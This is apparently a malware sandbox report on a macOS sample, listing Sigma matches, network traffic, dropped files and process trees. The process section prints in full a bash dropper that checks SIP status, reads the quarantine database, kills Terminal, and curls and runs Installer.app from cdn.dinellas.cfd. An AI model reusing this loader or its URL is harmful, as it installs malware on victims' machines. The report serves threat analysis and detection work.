

SUMMARY

DETECTION

DETAILS

RELATIONS

BEHAVIOR


COMMUNITY

[Join our Community](#) and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).


☒ Display grouped sandbox reports

☒  OS X Sandbox  0  7  1  4  5  22

Activity Summary

Download Artifacts 

Full Reports 

Help 

Detections

NOT FOUND

IDS Rules

1 LOW

Dropped Files

1 JAVASCRIPT 1 ZIP 1 XML 1 MACH_O 1 TEXT

Mitre Signatures

6 LOW 21 INFO

Sigma Rules

1 MEDIUM 3 LOW

Network comms

4 DNS 16 IP 2 JA3

Behavior Tags

checks-hostname self-delete

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).

Ok

+ Execution TA0002

- + Persistence TA0003
- + Privilege Escalation TA0004
- + Defense Evasion TA0005
- + Discovery TA0007
- + Exfiltration TA0010
- + Command and Control TA0011

Crowdsourced Sigma Rules ⓘ

CRITICAL 0 HIGH 0 MEDIUM 1 LOW 3

- ⚠️ ⓘ Matches rule **Usage Of Web Request Commands And Cmdlets** by James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger
- ⚠️ ⓘ Matches rule **Terminate Linux Process Via Kill** by Tuan Le (NCSGroup)
- ⚠️ ⓘ Matches rule **Startup Items** by Alejandro Ortuno, oscd.community
- ⚠️ ⓘ Matches rule **Curl Usage on Linux** by Nasreddine Bencherchali (Nextron Systems)

Crowdsourced IDS rules ⓘ

- ⚠️ ⓘ Matches rule **(stream_tcp) data sent on stream after TCP reset sent**

Network Communication ⓘ

DNS Resolutions

- + ⓘ 1449641439.rsc.cdn77.org
- + ⓘ apps.mzstatic.com
- + ⓘ cdn.dinellas.cfd
- + ⓘ pubingress-feedback-1a6fe9caff1148fe.elb.us-west-2.amazonaws.com

IP Traffic

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).

Ok

UDP 192.229.211.108:80

TCP 192.229.211.108:80

TCP 23.208.144.168:443

TCP 23.66.3.87:443

TCP 17.253.83.202:443

TCP 17.253.5.208:443

TCP 89.187.187.15:443 (cdn.dinellas.cfd)

TCP 17.179.252.2:443

TCP 17.248.193.19:443

JA3 Digests

2bab0327a296230f9f6427341e716ea0

773906b0efdefa24a7f2b8eb6985bf37

Memory Pattern Domains

cdn.dinellas.cfd

Memory Pattern Urls

https://cdn.dinellas.cfd/static/i2/Installer.app.zip

TLS

+

sandbox.itunes.apple.com

+

gsa.apple.com

Behavior Similarity Hashes ⓘ

OS X Sandbox

2f61e0b954dae390f31d5513bf359e67

File system actions ⓘ

Files Opened

..

/Library/Managed Preferences/com.apple.MCXDebug.plist

- /System/Applications/News.app
- /System/Applications/News.app/Contents
- /System/Applications/News.app/Contents/Info.plist
- /System/Applications/News.app/Contents/Resources
- /System/Applications/News.app/Contents/Resources/Base.lproj



Files Written

- /Users/aria/Library/Caches/com.apple.ap.adprivacyd/fsCachedData/854F653F-BD5F-4B7C-9E6D-7F7E3F1F6B90.tmp
- /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/E022396F-E0FB-47E8-9B96-AF503BB1789E
- /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/Installer.app/Contents/Info.pl
- /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/Installer.app/Contents/MacOS
- /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/Installer.app/Contents/PkgInf
- /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/E022396F-E0FB-47E8-9B96-AF503BB1789E
- Installer.app/Contents/Info.plist
- Installer.app/Contents/MacOS/Installer
- Installer.app/Contents/PkgInfo

Files Deleted

- /Users/aria/Desktop/51DW8LrnBW.virus
- /Users/aria/Library/Caches/com.apple.ap.adprivacyd/fsCachedData/854F653F-BD5F-4B7C-9E6D-7F7E3F1F6B90
- E022396F-E0FB-47E8-9B96-AF503BB1789E
- Info.plist
- Installer
- PkgInfo

Files With Modified Attributes

- Installer.app/

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).

Ok

Files Dropped

- + /Users/aria/Library/Caches/com.apple.ap.adprivacyd/fsCachedData/854F653F-BD5F-4B7C-9E6D-7F7E3F1F6B90.tmp
- + /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/E022396F-E0FB-47E8-9B96-AF503BB1789E
- + /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/Installer.app/Contents/Info.plist
- + /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/Installer.app/Contents/MacOS/Inst
- + /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/Installer.app/Contents/PkgInfo






Process and service actions ⓘ

Processes Created

- /Users/aria/Desktop/51DW8LrnBW.virus
- /bin/bash -
- /bin/bash /bin/sh -c command -v csrutil > /dev/null && csrutil status | grep -v 'enabled' > /dev/null && echo 1 || echo 0
- /bin/bash sh -c temp_dir(){ if [-n "\${TMPDIR}"] then echo "\${TMPDIR}" else getconf DARWIN_USER_TEMP_DIR fi } did_dg(){ for volume in '/Volumes/*' do did_path="\${volume}/.did" [-f "\${did_path}"] || continue did="\$(cat "\${did_path}" | [-z "\${did}"] && continue echo "\${did}" return done return 1 } where_from_url(){ /usr/bin/sqlite3 "\${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" 'SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1' 2>/dev/null } did_qe(){ url="\$(where_from_url)" query="\${url#*\?}" did_find=0 for param in "\${query//[=&]}/" do if ["\${did_find}" = 1] then echo "\${param}" return fi ["\${param}" = 'utm_source'] || ["\${param}" = 'sidw'] || ["\${param}" = 'neo'] && did_find=1 done return 1 } download(){ local -r url="\${1}" local -r tmp_dir="\${2}" local -r path="\${tmp_dir}/\${uuidgen}" if output="\$(curl -kLs -m '30' -o "\${path}" "\${url}" 2>&1)" then echo "\${path}" else return 1 fi } unarchive(){ local -r arc_path="\${1}" local -r dst_dir="\$(/usr/bin/dirname "\${arc_path}")" /usr/bin/tar -xz -f "\${arc_path}" -C "\${dst_dir}">/dev/null 2>&1&&echo "\${dst_dir}" } app_path(){ local -r app_dir="\${1}" local -r app_paths=("\${app_dir}/*.app") local -r app_path="\${app_paths[0]}" [-d "\${app_path}"] && echo "\${app_path}" } bin_path(){ local -r app_path="\${1}" local -r binary_paths=("\${app_path}/Contents/MacOS/*") local -r binary_path="\${binary_paths[0]}" [-f "\${binary_path}"] && echo "\${binary_path}" } exec_bin(){ bin_path="\${1}" did="\${2}" "\${bin_path}" -did "\${did}" } WORK_DIR="\$(mktemp -dt 'tmp') || exit cleanup(){ rm -rf "\${WORK_DIR}">/dev/null 2>&1 exit } main(){ url="\${1}" (pskill -9 Terminal &) did="\$(did_qe)" || did="\$(did_dg)" if [-z "\${did}"] then pv="\$(/usr/bin/sw_vers -productVersion)" || cleanup tv="12.4" ["\${pv}" < "\${tv}"] && cleanup fi arc_path="\$(download "\${url}" "\${WORK_DIR}")" || cleanup app_dir="\$(unarchive "\${arc_path}")" || cleanup app_path="\$(app_path "\${app_dir}")" || cleanup bin_path="\$(bin_path "\${app_path}")" || cleanup exec_bin "\${bin_path}" "\${did}" cleanup } main "https://cdn.dinellias.cfd/static/i2/Installer.app.zip" &
- /bin/rm rm -rf /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV











We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).

Ok

 /usr/bin/csrutil csrutil status
/usr/bin/curl curl -kLSs -m 30 -o
 /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/E022396F-E0FB-47E8-9B96-AF503BB1789E https://cdn.dinellas.cfd/static/i2/Installer.app.zip
 /usr/bin/dirname /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/E022396F-E0FB-47E8-9B96-AF503BB1789E
 /usr/bin/grep grep -v enabled
 /usr/bin/mktemp mktemp -dt tmp





Shell Commands

 /Users/aria/Desktop/51DW8LrnBW.virus
 /bin/sh -c command -v csrutil > /dev/null && csrutil status | grep -v 'enabled' > /dev/null && echo 1 || echo 0
 /usr/bin/dirname /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/E022396F-E0FB-47E8-9B96-AF503BB1789E
 /usr/bin/sqlite3 /Users/aria/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2
SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC
LIMIT 1
 /usr/bin/sw_vers -productVersion
 /usr/bin/tar -xz -f /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/E022396F-E0FB-47E8-9B96-AF503BB1789E -C /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV
 /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/Installer.app/Contents/MacOS/Installer
-did
 csrutil status
 curl -kLSs -m 30 -o /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/tmp.LXML3yjV/E022396F-E0FB-47E8-9B96-AF503BB1789E https://cdn.dinellas.cfd/static/i2/Installer.app.zip
 grep -v enabled



Processes Tree

 844 - /usr/libexec/adprivacyd
 846 - /Users/aria/Desktop/51DW8LrnBW.virus

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).

Ok

'\${did_path}']||continue did='\${cat '\${did_path}'}' [-z '\${did}']&&continue echo '\${did}' return done

```
return 1 } where_from_url(){ /usr/bin/sqlite3
'${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2' 'SELECT
LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT
1' 2>/dev/null } did_qe(){ url='${where_from_url}' query='${url#*\?}' did_find=0 for param in
${query//[=&]/ } do if [ '${did_find}' = 1 ] then echo '${param}' return fi [ '${param}' = 'utm_source' ]][[
 '${param}' = 'sidw' ]][[ '${param}' = 'neo' ]&&did_find=1 done return 1 } download(){ local -r url='${1}'
local -r tmp_dir='${2}' local -r path='${tmp_dir}/${uuidgen}' if output='${curl -kLSs -m '30' -o '${path}'
'${url}' 2>&1}' then echo '${path}' else return 1 fi } unarchive(){ local -r arc_path='${1}' local -r
dst_dir='${/usr/bin/dirname '${arc_path}'}' /usr/bin/tar -xz -f '${arc_path}' -C '${dst_dir}'>/dev/null
2>&1&&echo '${dst_dir}' } app_path(){ local -r app_dir='${1}' local -r app_paths=('${app_dir}'/*.*.app)
local -r app_path='${app_paths[0]}' [ -d '${app_path}' ]&&echo '${app_path}' } bin_path(){ local -r
app_path='${1}' local -r binary_paths=('${app_path}/Contents/MacOS/*') local -r
binary_path='${binary_paths[0]}' [ -f '${binary_path}' ]&&echo '${binary_path}' } exec_bin(){
bin_path='${1}' did='${2}' '${bin_path}' -did '${did}' } WORK_DIR='${mktemp -dt 'tmp'}' || exit cleanup(){ rm
-rf '${WORK_DIR}'>/dev/null 2>&1 exit } main(){ url='${1}' (pkill -9 Terminal&
did='${did_qe}' || did='${did_dg}' if [ -z '${did}' ] then pv='${/usr/bin/sw_vers -productVersion}' || cleanup
tv='12.4' [[ '${pv}' < '${tv}' ]]&&cleanup fi arc_path='${download '${url}' '${WORK_DIR}'}' || cleanup
app_dir='${unarchive '${arc_path}'}' || cleanup app_path='${app_path '${app_dir}'}' || cleanup
bin_path='${bin_path '${app_path}'}' || cleanup exec_bin '${bin_path}' '${did}' cleanup } main
'https://cdn.dinellas.cfd/static/i2/Installer.app.zip'&
```

↳ 849 - /bin/bash -

↳ 850 - /usr/bin/mktemp mktemp -dt tmp

↳ 851 - /bin/bash -

↳ 852 - /bin/bash -

↳ 853 - /usr/bin/pkill pkill -9 Terminal

↳ 854 - /bin/bash -

↳ 855 - /bin/bash -



Highlighted actions ⓘ

Highlighted Text

""

